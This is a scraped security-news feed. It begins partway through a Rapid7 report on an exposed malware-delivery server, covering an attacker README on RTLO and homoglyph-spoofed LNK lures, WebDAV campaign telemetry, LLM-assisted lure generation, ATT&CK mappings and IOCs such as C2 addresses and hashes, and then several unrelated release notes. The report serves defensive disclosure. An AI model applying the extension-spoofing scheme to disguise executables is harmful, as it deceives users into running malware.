iteration.</span></p><p></p><pre language="c"># LNK Full Matrix Test — WebDAV Open Methods + Deception Techniques

**Location:** `C:\Users\Administrator\Desktop\LNK-Full-Matrix-Test`  
**Total files:** 60  
**Generated:** 2026-05-30

---

## Overview / Обзор

This folder contains a complete test matrix of **60 LNK shortcut files** combining all available WebDAV open methods with all LNK Deception Techniques supported by the Web-renamer project.

В этой папке находится полная тестовая матрица из **60 LNK-ярлыков**, объединяющих все доступные WebDAV-методы открытия со всеми техниками обмана LNK, поддерживаемыми проектом Web-renamer.

---

## Naming Scheme / Схема именования

All files follow the pattern:  
Все файлы следуют шаблону:

```
HyperPackSetup.&lt;method&gt;.&lt;trick&gt;.&lt;spoof&gt;.lnk
```

- **`HyperPackSetup`** — base filename / базовое имя файла
- **`&lt;method&gt;`** — WebDAV open method (e.g. `curl-http-temp-run`, `direct`, `cmd-start`) / метод открытия WebDAV
- **`&lt;trick&gt;`** — LNK deception technique (`standard`, `SPOOFEXE_HIDEARGS_DISABLETARGET`, etc.) / техника обмана LNK
- **`&lt;spoof&gt;`** — RTLO + homoglyph extension spoof (`‮ƒｄᴘ`) — visually appears as `.pdf` / спуф расширения через RTLO + гомоглифы — визуально выглядит как `.pdf`
- **`.lnk`** — real extension / реальное расширение

&gt; The spoof is applied **only to the extension** at the end, so the method and trick names remain clearly readable.  
&gt; Спуф применяется **только к расширению** в конце имени, поэтому названия методов и техник остаются читаемыми.
...</pre><p><span><em>Figure 11: This is a snippet from another </em></span><span><span data-type="inlineCode"><em>README.md</em></span></span><span><em>. The full README is available on Rapid7 Labs' </em></span><a href="https://github.com/rapid7/Rapid7-Labs/tree/main/IOCs/Simba%20Panel" target="_blank"><span><em>Github</em></span></a><span><em>. The text is original, and the translation to Russian was not added by us.</em></span></p><h3>OPSEC is hard </h3><p><span>As we mentioned previously, one of the artifacts we found in the open directory was a presentation file documenting a WebDAV delivery/admin panel called “Simba Service.”</span></p><p><em></em></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blte7a569d4a484149e/6a5e199e1abad5303f7de1ad/simba-service-presentation.png" alt="simba-service-presentation.png" caption="Figure 12: Simba service presentation." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="simba-service-presentation.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blte7a569d4a484149e/6a5e199e1abad5303f7de1ad/simba-service-presentation.png" data-sys-asset-uid="blte7a569d4a484149e" data-sys-asset-filename="simba-service-presentation.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 12: Simba service presentation." data-sys-asset-alt="simba-service-presentation.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 12: Simba service presentation.</figcaption></div></figure><p>⠀</p><p><span>The panel was built to manage a read-only WebDAV file share and track delivery activity in real time, including file opens, visitor IPs, geolocation, Windows versions, traffic, errors, folder-level conversion, and access events.</span></p><p><span>The actor not only used the same server for testing and staging files, but also recklessly left behind internal documentation for the backend used to manage and track delivery. The presentation reads like an internal build document, walking through the architecture, tech stack, API endpoints, authentication, logging, analytics, bug fixes, deployment setup, and panel access flow. It also included the panel IP and port, along with credentials.</span></p><p><span>Additionally, the file also looked like it was generated with an LLM. Its structured project overview, emoji-heavy sections, API-documentation format, and implementation details stood out. Basically, in some subfolders you can find LLM-generated READMEs with lures and malicious executables, while in another subfolder there is an admin panel with a hardcoded IP, port, and credentials.</span></p><p><span>We are intentionally withholding live access details, credentials, IP addresses, ports, and panel locations.</span></p><h3>Delivery panel overview</h3><p><span>The attacker appeared to have deployed the panel as-is, without changing the default password or port. The panel included several operator-facing sections: Review, Folders, Files, Visitors, Geography, Traffic/Server, Notes, File Manager, Users, Link Builder, Safety, and Documentation.</span></p><p><em></em></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt20dc8a76cc4cdc10/6a5e1a005e34b09034dfd8cd/simba-service-page-with-blocking-capabilities_.png" alt="simba-service-page-with-blocking-capabilities_.png" caption="Figure 13: Simba service page with blocking capabilities." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="simba-service-page-with-blocking-capabilities_.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt20dc8a76cc4cdc10/6a5e1a005e34b09034dfd8cd/simba-service-page-with-blocking-capabilities_.png" data-sys-asset-uid="blt20dc8a76cc4cdc10" data-sys-asset-filename="simba-service-page-with-blocking-capabilities_.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 13: Simba service page with blocking capabilities." data-sys-asset-alt="simba-service-page-with-blocking-capabilities_.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 13: Simba service page with blocking capabilities.</figcaption></div></figure><p>⠀</p><p><span>The portal was capable of detecting scanners and bots by analyzing behavioral indicators, including requests for non-existent resources, HTTP 404 responses, WebDAV probes, and directory enumeration attempts. Based on these observations, it assigned a risk score to each IP address and allowed the operator to manually block flagged hosts. Portal records indicate that the blocking configuration was modified at least 3 times during the campaign (June 5, June 10, and June 20).</span></p><p><span>We analyzed telemetry from the WebDAV delivery service over an approximately 5.5-day window (June 20–26, 2026 UTC), which recorded 77,098 requests from 3,892 unique client IPs across 101 countries, with roughly 45.9 GB transferred.</span></p><p><span>The activity was short-lived and high-volume, peaking between June 21 and June 24 before dropping sharply. Based on this data we can assume that it was a targeted delivery campaign.</span></p><p><span>Most of the launch activity came from one specific lure: a CURP-themed fake PDF report under the </span><span><span data-type="inlineCode">/Downloads/CURP/ReportFinal.rcs.pdf</span></span><span> (RTLO-spoofed </span><span><span data-type="inlineCode">.scr</span></span><span> executable.) Out of 2,441 observed executable launch events, 2,384, or approximately 97.7%, were tied to this lure. It accounted for approximately 14.6 GB of traffic and was accessed by 1,869 unique client IPs.</span></p><p><span>The WebDAV traffic was heavily concentrated in Mexico. Mexico generated 63,622 requests, representing 82.5% of all traffic, and 2,365 launch events, or approximately 96.9% of all observed launches. The next largest sources of traffic, including the United States and Germany, produced far fewer launch events and appeared more consistent with scanning, research, or automated retrieval.</span></p><p><em></em></p><table><colgroup data-width="1250"><col><col><col><col><col></colgroup><tbody><tr><td><p><span><strong>Country</strong></span></p></td><td><p><span><strong>Requests</strong></span></p></td><td><p><span><strong>Share of requests</strong></span></p></td><td><p><span><strong>Unique client IPs</strong></span></p></td><td><p><span><strong>Launch events</strong></span></p></td></tr><tr><td><p><span>Mexico</span></p></td><td><p><span>63,622</span></p></td><td><p><span>82.5%</span></p></td><td><p><span>2,698</span></p></td><td><p><span>2,365</span></p></td></tr><tr><td><p><span>United States</span></p></td><td><p><span>4,032</span></p></td><td><p><span>5.2%</span></p></td><td><p><span>463</span></p></td><td><p><span>47</span></p></td></tr><tr><td><p><span>Germany</span></p></td><td><p><span>2,751</span></p></td><td><p><span>3.6%</span></p></td><td><p><span>59</span></p></td><td><p><span>1</span></p></td></tr><tr><td><p><span>United Kingdom</span></p></td><td><p><span>645</span></p></td><td><p><span>0.8%</span></p></td><td><p><span>40</span></p></td><td><p><span>0</span></p></td></tr><tr><td><p><span>Netherlands</span></p></td><td><p><span>532</span></p></td><td><p><span>0.7%</span></p></td><td><p><span>49</span></p></td><td><p><span>1</span></p></td></tr><tr><td><p><span>France</span></p></td><td><p><span>407</span></p></td><td><p><span>0.5%</span></p></td><td><p><span>21</span></p></td><td><p><span>0</span></p></td></tr><tr><td><p><span>Finland</span></p></td><td><p><span>401</span></p></td><td><p><span>0.5%</span></p></td><td><p><span>6</span></p></td><td><p><span>10</span></p></td></tr><tr><td><p><span>Brazil</span></p></td><td><p><span>343</span></p></td><td><p><span>0.4%</span></p></td><td><p><span>41</span></p></td><td><p><span>0</span></p></td></tr><tr><td><p><span>Republic of Korea</span></p></td><td><p><span>312</span></p></td><td><p><span>0.4%</span></p></td><td><p><span>16</span></p></td><td><p><span>1</span></p></td></tr></tbody></table><p><span><em>Table 3: Geographic distribution of WebDAV delivery activity.</em></span></p><p><span><em></em></span></p><p><span>Mexico was not only the largest source of traffic, but also the source of nearly all observed launch activity. Within Mexico, the activity was geographically broad, spanning hundreds of cities rather than clustering around a single locality. The top five Mexican cities accounted for approximately 27.4% of Mexican launch events, with Mexico City alone accounting for approximately 15.7%.</span></p><p><span>Hourly requests to the WebDAV delivery service also supported the assessment that much of the traffic came from real user interaction rather than only automated internet scanners. Traffic peaked between 16:00 and 19:00 UTC, which corresponds to working hours in central Mexico.</span></p><p><span>By launch events, we mean cases where the WebDAV panel showed that a client opened or requested an executable file in a way that looked like an attempted run, such as a </span><span><span data-type="inlineCode">GET</span></span><span> request for an </span><span><span data-type="inlineCode">.scr</span></span><span> or </span><span><span data-type="inlineCode">.exe</span></span><span> file from the delivery share. This does not mean we confirmed malware execution on the endpoint. It means the delivery infrastructure saw the file being accessed or invoked.</span></p><h2>Protocol behavior</h2><p><span>The HTTP methods and status codes show how clients interacted with the WebDAV delivery service. </span><span><span data-type="inlineCode">PROPFIND</span></span><span> requests and </span><span><span data-type="inlineCode">207</span></span><span> responses indicate directory browsing, which is typical when Windows Explorer accesses a remote WebDAV location. </span><span><span data-type="inlineCode">GET</span></span><span> requests and </span><span><span data-type="inlineCode">200</span></span><span> responses show file retrieval, including executable files opened or requested from the share.</span></p><p><span></span></p><table><colgroup data-width="500"><col><col></colgroup><tbody><tr><td><p><span><strong>Method</strong></span></p></td><td><p><span><strong>Count</strong></span></p></td></tr><tr><td><p><span>PROPFIND</span></p></td><td><p><span>57,287</span></p></td></tr><tr><td><p><span>GET</span></p></td><td><p><span>13,088</span></p></td></tr><tr><td><p><span>OPTIONS</span></p></td><td><p><span>6,597</span></p></td></tr><tr><td><p><span>PROPPATCH</span></p></td><td><p><span>125</span></p></td></tr><tr><td><p><span>LOCK</span></p></td><td><p><span>1</span></p></td></tr></tbody></table><p><span><em>Table 4: HTTP methods observed in WebDAV delivery traffic.</em></span></p><p><span><em></em></span></p><table><colgroup data-width="500"><col><col></colgroup><tbody><tr><td><p><span><strong>Status</strong></span></p></td><td><p><span><strong>Count</strong></span></p></td></tr><tr><td><p><span>207</span></p></td><td><p><span>57,412</span></p></td></tr><tr><td><p><span>200</span></p></td><td><p><span>19,532</span></p></td></tr><tr><td><p><span>206</span></p></td><td><p><span>154</span></p></td></tr></tbody></table><p><span><em>Table 5: HTTP status codes observed in WebDAV delivery traffic.</em></span></p><h2><span>MITRE ATT&amp;CK techniques</span></h2><table><colgroup data-width="1010"><col><col><col></colgroup><tbody><tr><td><p><span><strong>Name</strong></span></p></td><td><p><span><strong>MITRE ATT&amp;CK technique</strong></span></p></td><td><p><span><strong>Code</strong></span></p></td></tr><tr><td><p><span>Payload execution</span></p></td><td><p><span>User Execution: Malicious File</span></p></td><td><p><span>T1204.002</span></p></td></tr><tr><td><p><span>Masquerading</span></p></td><td><p><span>Right-to-Left Override</span></p></td><td><p><span>T1036.002</span></p></td></tr><tr><td><p><span>Masquerading</span></p></td><td><p><span>Double File Extension</span></p></td><td><p><span>T1036.007</span></p></td></tr><tr><td><p><span>DLL sideloading</span></p></td><td><p><span>Hijack Execution Flow: DLL</span></p></td><td><p><span>T1574.001</span></p></td></tr><tr><td><p><span>Obfuscation</span></p></td><td><p><span>Encrypted/Encoded File</span></p></td><td><p><span>T1027.013</span></p></td></tr><tr><td><p><span>Payload unpacking</span></p></td><td><p><span>Deobfuscate/Decode Files or Information</span></p></td><td><p><span>T1140</span></p></td></tr><tr><td><p><span>Payload carrier</span></p></td><td><p><span>Steganography / image-carried payload data</span></p></td><td><p><span>T1027.003</span></p></td></tr><tr><td><p><span>API hiding</span></p></td><td><p><span>Dynamic API Resolution</span></p></td><td><p><span>T1027.007</span></p></td></tr><tr><td><p><span>In-memory loading</span></p></td><td><p><span>Reflective Code Loading</span></p></td><td><p><span>T1620</span></p></td></tr><tr><td><p><span>Injection</span></p></td><td><p><span>Process Hollowing</span></p></td><td><p><span>T1055.012</span></p></td></tr><tr><td><p><span>Native API use</span></p></td><td><p><span>Native API</span></p></td><td><p><span>T1106</span></p></td></tr><tr><td><p><span>Sandbox evasion</span></p></td><td><p><span>Time Based Evasion</span></p></td><td><p><span>T1497.003</span></p></td></tr><tr><td><p><span>Anti-analysis</span></p></td><td><p><span>Debugger / instrumentation checks</span></p></td><td><p><span>T1622</span></p></td></tr><tr><td><p><span>UAC bypass</span></p></td><td><p><span>Bypass User Account Control</span></p></td><td><p><span>T1548.002</span></p></td></tr><tr><td><p><span>Persistence</span></p></td><td><p><span>Registry Run Keys / Startup Folder</span></p></td><td><p><span>T1547.001</span></p></td></tr><tr><td><p><span>Persistence</span></p></td><td><p><span>Scheduled Task</span></p></td><td><p><span>T1053.005</span></p></td></tr><tr><td><p><span>Collection</span></p></td><td><p><span>Keylogging</span></p></td><td><p><span>T1056.001</span></p></td></tr><tr><td><p><span>Collection</span></p></td><td><p><span>Screen Capture</span></p></td><td><p><span>T1113</span></p></td></tr><tr><td><p><span>Collection</span></p></td><td><p><span>Clipboard Data</span></p></td><td><p><span>T1115</span></p></td></tr><tr><td><p><span>Credential access</span></p></td><td><p><span>Credentials from Web Browsers</span></p></td><td><p><span>T1555.003</span></p></td></tr><tr><td><p><span>Credential access</span></p></td><td><p><span>Steal Web Session Cookie</span></p></td><td><p><span>T1539</span></p></td></tr><tr><td><p><span>Collection</span></p></td><td><p><span>Data from Local System</span></p></td><td><p><span>T1005</span></p></td></tr><tr><td><p><span>Collection</span></p></td><td><p><span>Automated Collection</span></p></td><td><p><span>T1119</span></p></td></tr><tr><td><p><span>Staging</span></p></td><td><p><span>Archive Collected Data: Archive via Utility</span></p></td><td><p><span>T1560.001</span></p></td></tr><tr><td><p><span>C2</span></p></td><td><p><span>Encrypted Channel</span></p></td><td><p><span>T1573</span></p></td></tr><tr><td><p><span>Exfiltration</span></p></td><td><p><span>Exfiltration Over C2 Channel</span></p></td><td><p><span>T1041</span></p></td></tr><tr><td><p><span>Possible persistence</span></p></td><td><p><span>WMI Event Subscription</span></p></td><td><p><span>T1546.003</span></p></td></tr><tr><td><p><span>Phishing lure generation</span></p></td><td><p><span>Generate Phishing Lures</span></p></td><td><p><span>AML.T0052</span></p></td></tr><tr><td><p><span>Resource Development</span></p></td><td><p><span>Resource Development</span></p></td><td><p><span>AML.TA0003</span></p></td></tr><tr><td><p><span>Obtain capabilities via LLM tooling</span></p></td><td><p><span>Obtain Capabilities</span></p></td><td><p><span>AML.T0016</span></p></td></tr><tr><td><p><span>LLM-assisted capability development</span></p></td><td><p><span>Develop Capabilities</span></p></td><td><p><span> AML.T0017</span></p></td></tr><tr><td><p><span>LLM prompt crafting for attack documentation</span></p></td><td><p><span>LLM Prompt Crafting</span></p></td><td><p><span>AML.T0065</span></p></td></tr><tr><td><p><span>Obtain capabilities via tooling</span></p></td><td><p><span>Obtain Capabilities: Software Tools</span></p></td><td><p><span>AML.T0016.001</span></p></td></tr></tbody></table><h2><span>Indicators of compromise (IOCs)</span></h2><h3>CURP campaign</h3><p>Phishing page: hxxps://gobf[.]mx </p><p>WebDav server: onedrive[.]cv</p><p></p><p>ReportFinal.&lt;RLO&gt;.scr    SHA256 04A8018191F2E9E76072D072A933371D9D669A42DE2B2A087541CD3A653B0BA7</p><p></p><p>C2: 77.110.127.205 ports 56001-56003 / 57666 / 57777 / 57888</p><p>Domain: google.services[.]ug</p><p>Campaign tag:06x12x2026SantaEbash2  (v4.4.3)</p><p>Schedule tasks: brokerhost, net_queue_32</p><p></p><p>Staging paths:</p><p>%TEMP%\is-XXXXX.tmp\Fo-Binary.exe </p><p>%AppData%\Roaming\inttracer_i686_prod\      </p><p> C:\ProgramData\inttracer_i686_prod\</p><h3>DlrtyGames campaign </h3><p>C2: 23[.]94[.]252[.]228:57666</p><p>JA3: fc54e0d16d9764783542f0146a98b300</p><p>DlrtyGames.exe</p><p>SHA256: e8be17a7fbef48b45f1e958b3ae5ebdfcad58808969982c431a905eefcae5268</p><p>discord-rpc.x64.dll</p><p>SHA256: 449d1121fa275879af22a20407aa7253ac750ac8fa7ff5691101752600d645df</p><p>profiler16.dll</p><p>SHA256: a88f5ee748e60f889d046718bfe3ddcf1c5f3cba2001cad587e8953a76bf7aa9</p><p>loader-pool.db</p><p>SHA256: 51a02eccdcae0483c7cbb9796738eee6c2a13b740d30e5417cda09bf418ea93b</p><p>.NET RAT</p><p>SHA256: 82e67735cf822db8f2f759e742e5bf8c54fdbd01a4170619b9e0916e1b3f5923</p><p>Staging paths:</p><p>C:\ProgramData\basenet\</p><p>%APPDATA%\basenet\</p><p>Persistence:</p><p>HKCU\Software\Microsoft\Windows\CurrentVersion\Run\XNNNMHJAZNCNHGIKJDW</p><p>\com_app_bg_i686</p><p>\messenger_component_v8_32_rc</p><p></p><p>More indicators of compromise can be found on Rapid7’s <a href="https://github.com/rapid7/Rapid7-Labs/tree/main/IOCs/Simba%20Panel" target="_blank">GitHub</a>.</p><h2>Rapid7 customers</h2><p>Customers using Rapid7’s Intelligence Hub gain direct access to all IOCs from this campaign, including any future indicators as they are identified.</p><h2>Conclusion</h2><p><span>The operator’s OPSEC failed in the best way possible for defenders. Thanks to a completely exposed server, we managed to pull down their entire operational toolkit: staged payloads, lure templates, testing files, builder notes, and active campaign artifacts. This sloppiness effectively offered a rare, transparent view of their end-to-end delivery pipeline rather than just the final malware it served.</span></p><p><span>The real impact shows up in speed and scale. The actor generated lure variants in bulk, tested them systematically, documented results, and refined delivery techniques in short cycles. The artifacts also suggested that attackers used LLM for rapid lure generation and development since their cPanel was vibecoded. </span></p><p><span>While the fact that attackers are adopting genAI in their workflows is nothing new, looking past the novelty reveals a much more practical shift in adversary operations.</span></p><p><span>The takeaway isn’t that “AI wrote the malware.” It’s that the attacker used LLMs to operate more like a modern software product team. The use of genAI enables them to prototype, test, and scale their delivery pipeline at a fast pace.</span></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[v23.49.5]]></title>
<description><![CDATA[23.49.5 - 2026-07-20
Changed

Smaller LOGO in README (#2287) 77abcc4b

Bug Fixes

OpenAPI spec and scanner framework status codes 6c2e24e3]]></description>
<link>https://tsecurity.de/de/3681228/downloads/v23495/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681228/downloads/v23495/</guid>
<pubDate>Mon, 20 Jul 2026 15:16:53 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2><a href="https://github.com/greenbone/openvas-scanner/compare/v23.49.4...v23.49.5">23.49.5</a> - 2026-07-20</h2>
<h2>Changed</h2>
<ul>
<li>Smaller LOGO in README (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4911616891" data-permission-text="Title is private" data-url="https://github.com/greenbone/openvas-scanner/issues/2287" data-hovercard-type="pull_request" data-hovercard-url="/greenbone/openvas-scanner/pull/2287/hovercard" href="https://github.com/greenbone/openvas-scanner/pull/2287">#2287</a>) <a href="https://github.com/greenbone/openvas-scanner/commit/77abcc4b">77abcc4b</a></li>
</ul>
<h2>Bug Fixes</h2>
<ul>
<li>OpenAPI spec and scanner framework status codes <a href="https://github.com/greenbone/openvas-scanner/commit/6c2e24e3">6c2e24e3</a></li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-59950 | modelcontextprotocol MCP up to 1.28.0 WebSocket Server origin validation]]></title>
<description><![CDATA[A vulnerability was found in modelcontextprotocol MCP up to 1.28.0. It has been classified as critical. This issue affects some unknown processing of the component WebSocket Server. This manipulation causes origin validation error.

This vulnerability is registered as CVE-2026-59950. Remote explo...]]></description>
<link>https://tsecurity.de/de/3680739/sicherheitsluecken/cve-2026-59950-modelcontextprotocol-mcp-up-to-1280-websocket-server-origin-validation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680739/sicherheitsluecken/cve-2026-59950-modelcontextprotocol-mcp-up-to-1280-websocket-server-origin-validation/</guid>
<pubDate>Mon, 20 Jul 2026 11:40:22 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/product/modelcontextprotocol:mcp">modelcontextprotocol MCP up to 1.28.0</a>. It has been classified as <a href="https://vuldb.com/kb/risk">critical</a>. This issue affects some unknown processing of the component <em>WebSocket Server</em>. This manipulation causes origin validation error.

This vulnerability is registered as <a href="https://vuldb.com/cve/CVE-2026-59950">CVE-2026-59950</a>. Remote exploitation of the attack is possible. No exploit is available.]]></content:encoded>
</item>
<item>
<title><![CDATA[26.1.3]]></title>
<description><![CDATA[- AI assistant:
                - Added a setting in Preferences for the maximum wait time for AI Engine responses
                - Fixed the model list display for GitHub Copilot with the free plan
                - Engine settings were redesigned
                - GPT-5 is now used as the defa...]]></description>
<link>https://tsecurity.de/de/3679833/downloads/2613/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679833/downloads/2613/</guid>
<pubDate>Sun, 19 Jul 2026 20:16:36 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content='            - AI assistant:
                - Added a setting in Preferences for the maximum wait time for AI Engine responses
                - Fixed the model list display for GitHub Copilot with the free plan
                - Engine settings were redesigned
                - GPT-5 is now used as the default model for OpenAI
            - Data Editor: Fixed an issue in the Grouping Panel when selecting an item from the "Add" menu required an extra click before applying changes (thanks to @EastLord)
            - Metadata:
                - Fixed schema dropdown width when creating a new constraint
            - Data Transfer:
                - Improved memory usage when importing large CSV files (thanks to @HellAmbro)
                - Fixed CSV export with multi-character quotes and improved quote/delimiter validation
            - Connectivity: Added global network profiles that can be used in all projects
            - Miscellaneous:
                - Added escaping for the pipe character in connection CLI parameters (thanks to @dhufnagel)
                - Removed unnecessary zoom restart prompts on Linux and macOS when moving or resizing the application window (thanks to @elcapo)
                - Fixed color refresh when switching themes (thanks to @anantgupta001)
                - Added the ability to reset font settings to default on the User Interface page in Preferences
            - Databases:
                - Apache Doris: database icon was updated (thanks to @xylaaaaa)
                - Databend driver was updated to version 0.4.8
                - DuckDB: Fixed LIST and ARRAY display in the Data Grid
                - GaussDB: Materialized views are now available in the Navigator tree (thanks to @kkk000111999)
                - Google Cloud SQL - MySQL: Fixed backup and restore failures caused by an exception
                - Greenplum: Fixed an out-of-memory error when loading the table list for schemas with resource groups enabled (thanks to @vaefremov95)
                - MariaDB: Fixed a UI freeze when deleting multiple table columns at once (thanks to @a3894281)
                - MySQL: Fixed an issue when creating a new table failed with an exception (thanks to @HellAmbro)
                - PostgreSQL:
                    - Fixed an issue where the MAINTAIN privilege was not shown for users who had it granted
                    - Fixed an issue where text arrays could be corrupted after editing values containing commas in the Data Grid
                    - Fixed unsupported constraint type warnings for NOT NULL constraints (thanks to @jmax01)
                - SQLite: Fixed an issue where SQL script execution processed only the first line of the script (thanks to @HellAmbro)'><pre class="notranslate"><code>            - AI assistant:
                - Added a setting in Preferences for the maximum wait time for AI Engine responses
                - Fixed the model list display for GitHub Copilot with the free plan
                - Engine settings were redesigned
                - GPT-5 is now used as the default model for OpenAI
            - Data Editor: Fixed an issue in the Grouping Panel when selecting an item from the "Add" menu required an extra click before applying changes (thanks to @EastLord)
            - Metadata:
                - Fixed schema dropdown width when creating a new constraint
            - Data Transfer:
                - Improved memory usage when importing large CSV files (thanks to @HellAmbro)
                - Fixed CSV export with multi-character quotes and improved quote/delimiter validation
            - Connectivity: Added global network profiles that can be used in all projects
            - Miscellaneous:
                - Added escaping for the pipe character in connection CLI parameters (thanks to @dhufnagel)
                - Removed unnecessary zoom restart prompts on Linux and macOS when moving or resizing the application window (thanks to @elcapo)
                - Fixed color refresh when switching themes (thanks to @anantgupta001)
                - Added the ability to reset font settings to default on the User Interface page in Preferences
            - Databases:
                - Apache Doris: database icon was updated (thanks to @xylaaaaa)
                - Databend driver was updated to version 0.4.8
                - DuckDB: Fixed LIST and ARRAY display in the Data Grid
                - GaussDB: Materialized views are now available in the Navigator tree (thanks to @kkk000111999)
                - Google Cloud SQL - MySQL: Fixed backup and restore failures caused by an exception
                - Greenplum: Fixed an out-of-memory error when loading the table list for schemas with resource groups enabled (thanks to @vaefremov95)
                - MariaDB: Fixed a UI freeze when deleting multiple table columns at once (thanks to @a3894281)
                - MySQL: Fixed an issue when creating a new table failed with an exception (thanks to @HellAmbro)
                - PostgreSQL:
                    - Fixed an issue where the MAINTAIN privilege was not shown for users who had it granted
                    - Fixed an issue where text arrays could be corrupted after editing values containing commas in the Data Grid
                    - Fixed unsupported constraint type warnings for NOT NULL constraints (thanks to @jmax01)
                - SQLite: Fixed an issue where SQL script execution processed only the first line of the script (thanks to @HellAmbro)
</code></pre></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[ILSpy 11.0 Preview 1]]></title>
<description><![CDATA[WarningWe DO NOT own the domain ilspy[.]org See #3709
Download ILSpy only from GitHub Releases!

This release is based on .NET 10.0. Please make sure that you have it installed on your machine beforehand.
Note for Mac users: see https://github.com/icsharpcode/ILSpy/wiki/Build-Artifacts#running-th...]]></description>
<link>https://tsecurity.de/de/3679608/it-security-tools/ilspy-110-preview-1/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679608/it-security-tools/ilspy-110-preview-1/</guid>
<pubDate>Sun, 19 Jul 2026 16:33:41 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="markdown-alert markdown-alert-warning"><p class="markdown-alert-title"><svg data-component="Octicon" class="octicon octicon-alert mr-2" viewbox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg>Warning</p><p><strong>We DO NOT own the domain ilspy[.]org</strong> See <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4211773802" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3709" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/3709/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/3709">#3709</a><br>
Download ILSpy only from GitHub Releases!</p>
</div>
<p>This release is based on <a href="https://dotnet.microsoft.com/en-us/download/dotnet/10.0" rel="nofollow">.NET 10.0</a>. Please make sure that you have it installed on your machine beforehand.</p>
<p>Note for Mac users: see <a href="https://github.com/icsharpcode/ILSpy/wiki/Build-Artifacts#running-the-macos-artifact">https://github.com/icsharpcode/ILSpy/wiki/Build-Artifacts#running-the-macos-artifact</a> because the ILSpy.app is neither signed nor notarized.</p>
<h1>Avalonia Cross Platform Port</h1>
<ul>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4630432393" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3755" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3755/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3755">#3755</a>: Avalonia 12 Port and Removal of the WPF UI</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4632742730" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3759" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3759/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3759">#3759</a>: Metadata explorer cleanup, flags-filter fixes, and WPF row-details parity</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4638079113" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3766" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3766/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3766">#3766</a>: Round-trip the legacy WPF SessionSettings shape</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4639024005" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3768" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3768/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3768">#3768</a>: Build, test, and package ILSpy on Linux and macOS in CI</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4810623972" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3861" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3861/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3861">#3861</a>: Show text-based resources inline with syntax highlighting</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4852089007" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3875" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3875/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3875">#3875</a>: Avalonia 12.1</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4863426967" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3876" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3876/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3876">#3876</a>: Keep BAML decompilation working when WPF assemblies are missing</li>
</ul>
